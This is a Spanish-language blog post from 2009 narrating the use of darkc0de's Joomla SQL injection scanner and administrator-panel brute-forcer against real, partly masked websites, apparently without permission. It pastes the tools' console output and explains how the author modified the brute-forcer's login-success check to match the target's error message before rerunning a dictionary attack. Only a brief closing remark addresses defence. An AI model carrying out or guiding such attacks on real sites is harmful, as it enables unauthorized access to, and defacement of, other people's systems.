14 de noviembre de 2009

Joomla SQL Injector & Bruteforce

Los sitios Web basados en el gestor de contenidos Joomla se han extendido como moscas, los éxitos en Internet son así. Hace 4 años nadie apostaba un duro por una compañía llamada youtube y hoy sus creadores nadan en piscinas de oro, con joomla ha ocurrido algo parecido, apareció en el 2005, gustó y triunfó. Ahora cualquiera tiene su sitio web basado en joomla (Powered with Joomla!).

Actualmente corre una versión estable 1.5, lo que significa que en 4 años no han existido grandes revoluciones en su motor, eso sí, las plantillas existentes se cuentan por miles. Basado en PHP Joomla también tiene sus “cositas” de Seguridad, RFI, SQL Injection, XSS, etc. concretamente ayer me encontré con un SQL Injector escrito en Python muy sencillo de usar, incluye las alrededor de 123 vulnerabilidades de este tipo disponibles, en la página de descarga van actualizando el script a medida que se hacen públicas más vulnerabilidades, lo ejecutamos indicándole que cargue la lista de sitios web de list.txt y:

|---------------------------------------------------------------|

| beenudel1986[@]gmail[dot]com |

| Joomla Sql Injection Scanner 2.5.6 |

| 11/2008 joomsq.py |

| Do Visit www.BeenuArora.com & darkc0de.com |

| Total: 123 Vulns |

|---------------------------------------------------------------|

Enter the DB prefix or press Enter to use default

Do you think target has salted or unsalted version ! press y for yes or n for n o y

[+] JoomlaPath: www.*********gital.es

[+] Vuln. Loaded: 123

[+] Testing...

[-] Done

[+] JoomlaPath: www.p******o.com

[+] Vuln. Loaded: 123

[+] Testing...

Decepción, no me encuentra nada. Y es que a no ser que encontréis una página desarrollada con un Joomla antiguo (anterior 1.5) no funcionará. Desanimado pruebo un Joomla BruteForce Cracker también disponible en el sitio de “Dark Codes”, me descargo un pequeño diccionario (23000 palabras), ejecuto y:

|----------------------------------------------|

| rsauron[@]gmail[dot]com v1.0 |

| 7/2008 joomlabrute.py |

| - Joomla Administrator Panel BruteForcer |

| Usage: joomlabrute.py [options] |

| -h help darkc0de.com |

|----------------------------------------------|

[+] Proxy Not Given

[+] BruteForcing:http://www.p*********.com/administrator/

[+] Username:pluks

[+] Words Loaded: 213560

[+] [12:10:47]

[!] Login Successfull: pluks:aa

[-] [12:10:49]

[-] Total URL Requests 1

[-] Done

¿Suerte? No lo creo, confirmo la sospecha, es un “falso positivo”. ¿Cómo puede ser?, bueno los mensajes de error en Joomla son configurables, el script solo busca en la página web si aparece la palabra “username”, si no está supone que hay autenticación exitosa (un poco cutre quizás), sustituimos esa palabra por nuestro mensaje de error, ejecutamos nuevamente y:

|----------------------------------------------|

| rsauron[@]gmail[dot]com v1.0 |

| 7/2008 joomlabrute.py |

| - Joomla Administrator Panel BruteForcer |

| Usage: joomlabrute.py [options] |

| -h help darkc0de.com |

|----------------------------------------------|

[-] Proxy Not Given

[+] BruteForcing: http://www.p**********o.com/administrator/

[+] Username: pluks

[+] Words Loaded: 213560

[+] [13:28:04]

[-] Login Failed: aa

[-] Login Failed: aal

[-] Login Failed: aalii

Esto tiene mejor pinta, ahora es solo cuestión de tiempo. Como vemos los administradores de sitios web basados en Joomla tampoco pueden relajarse en términos como robustez de contraseñas, actualización de parches, etc. Si no pueden encontrarse fácilmente con un deface :-p

Buen fin de semana!

1 comentarios:

Angeles Hernandez dijo...

Buenos dias,
Veo que cuenta con un blog, de muy buena calidad y le agradeceria realizar un intercambio de enlaces
con mi pagina web de tematica DISEÑO WEB, si se encuentra de acuerdo espero su respuesta a mi correo tucontactoweb@gmail.com Gracias.